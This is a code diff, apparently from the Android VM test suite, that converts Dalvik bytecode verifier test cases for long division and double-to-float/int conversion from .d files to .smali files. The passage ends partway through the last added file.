diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_3.smali
new file mode 100644
index 0000000..f516e93
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_long_2addr_3.java"
+.class  public Ldot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       const v0, 1234
+       div-long/2addr v0, v12
+       return-wide v10
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_4.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_4.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_4.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_4.smali
new file mode 100644
index 0000000..632aaba
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_4.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_4;
+.super Ljava/lang/Object;
+.source "T_div_long_2addr_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(JJ)J
+    .registers 14
+
+    const v0, 0x4048f5c3    # 3.14f
+
+    div-long/2addr v0, p3
+
+    return-wide p1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_5.d
deleted file mode 100644
index ed7fdfb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_long_2addr_5.java
-.class public dot.junit.opcodes.div_long_2addr.d.T_div_long_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       div-long/2addr v9, v12
-       return-wide v10
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_5.smali
new file mode 100644
index 0000000..9f88419
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_long_2addr_5.java"
+.class  public Ldot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       div-long/2addr v9, v12
+       return-wide v10
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_6.d
deleted file mode 100644
index 83e2b30..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_long_2addr_6.java
-.class public dot.junit.opcodes.div_long_2addr.d.T_div_long_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       div-long/2addr v10, v14
-       return-wide v10
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_6.smali
new file mode 100644
index 0000000..fda833b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_long_2addr_6.java"
+.class  public Ldot/junit/opcodes/div_long_2addr/d/T_div_long_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       div-long/2addr v10, v14
+       return-wide v10
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_1.d
deleted file mode 100644
index 24b332f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_double_to_float_1.java
-.class public dot.junit.opcodes.double_to_float.d.T_double_to_float_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)F
-.limit regs 8
-
-       double-to-float v0, v6
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_1.smali
new file mode 100644
index 0000000..bb32164
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_double_to_float_1.java"
+.class  public Ldot/junit/opcodes/double_to_float/d/T_double_to_float_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)F
+.registers 8
+
+       double-to-float v0, v6
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_2.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_2.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_2.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_2.smali
new file mode 100644
index 0000000..81f63f3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_2.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/double_to_float/d/T_double_to_float_2;
+.super Ljava/lang/Object;
+.source "T_double_to_float_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(D)F
+    .registers 8
+
+    const p1, 0x4048f5c3    # 3.14f
+
+    double-to-float v0, p1
+
+    return p1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_3.d
deleted file mode 100644
index 1cbf6f9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_double_to_float_3.java
-.class public dot.junit.opcodes.double_to_float.d.T_double_to_float_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)F
-.limit regs 8
-
-       double-to-float v0, v6
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_3.smali
new file mode 100644
index 0000000..3cc945c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_double_to_float_3.java"
+.class  public Ldot/junit/opcodes/double_to_float/d/T_double_to_float_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)F
+.registers 8
+
+       double-to-float v0, v6
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_4.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_4.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_4.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_4.smali
new file mode 100644
index 0000000..24a4815
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_4.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/double_to_float/d/T_double_to_float_4;
+.super Ljava/lang/Object;
+.source "T_double_to_float_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(D)F
+    .registers 8
+
+    double-to-float v0, p0
+
+    const v3, 0x4048f5c3    # 3.14f
+
+    return v3
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_5.d
deleted file mode 100644
index 80adf03..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_double_to_float_5.java
-.class public dot.junit.opcodes.double_to_float.d.T_double_to_float_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)F
-.limit regs 8
-
-       double-to-float v0, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_5.smali
new file mode 100644
index 0000000..16c1f95
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_double_to_float_5.java"
+.class  public Ldot/junit/opcodes/double_to_float/d/T_double_to_float_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)F
+.registers 8
+
+       double-to-float v0, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_6.d
deleted file mode 100644
index 9c65fb8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_6.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_double_to_float_6.java
-.class public dot.junit.opcodes.double_to_float.d.T_double_to_float_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)V
-.limit regs 8
-
-       move v0, v7
-       move v1, v7    
-       double-to-float v0, v0
-       
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_6.smali
new file mode 100644
index 0000000..e20fb3d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_float/d/T_double_to_float_6.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_double_to_float_6.java"
+.class  public Ldot/junit/opcodes/double_to_float/d/T_double_to_float_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)V
+.registers 8
+
+       move v0, v7
+       move v1, v7    
+       double-to-float v0, v0
+       
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_1.d
deleted file mode 100644
index 82f2467..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_double_to_int_1.java
-.class public dot.junit.opcodes.double_to_int.d.T_double_to_int_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 8
-
-       double-to-int v0, v6
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_1.smali
new file mode 100644
index 0000000..69a9226
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_double_to_int_1.java"
+.class  public Ldot/junit/opcodes/double_to_int/d/T_double_to_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 8
+
+       double-to-int v0, v6
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_2.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_2.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_2.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_2.smali
new file mode 100644
index 0000000..c63b4e4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_2.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/double_to_int/d/T_double_to_int_2;
+.super Ljava/lang/Object;
+.source "T_double_to_int_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(D)I
+    .registers 8
+
+    const p1, 0x4048f5c3    # 3.14f
+
+    double-to-int v0, p1
+
+    const v1, 0x7b
+
+    return v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_3.d
deleted file mode 100644
index 07f855a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_double_to_int_3.java
-.class public dot.junit.opcodes.double_to_int.d.T_double_to_int_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 8
-
-       double-to-int v0, v6
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_3.smali
new file mode 100644
index 0000000..4daee67
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_double_to_int_3.java"
+.class  public Ldot/junit/opcodes/double_to_int/d/T_double_to_int_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 8
+
+       double-to-int v0, v6
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_4.d
deleted file mode 100644
index 1f62ffb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_4.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_double_to_int_4.java
-.class public dot.junit.opcodes.double_to_int.d.T_double_to_int_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 8
-
-       double-to-int v0, v5
-       
-       const v3, 123
-       return v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_4.smali
new file mode 100644
index 0000000..c8ebfaa
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_4.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
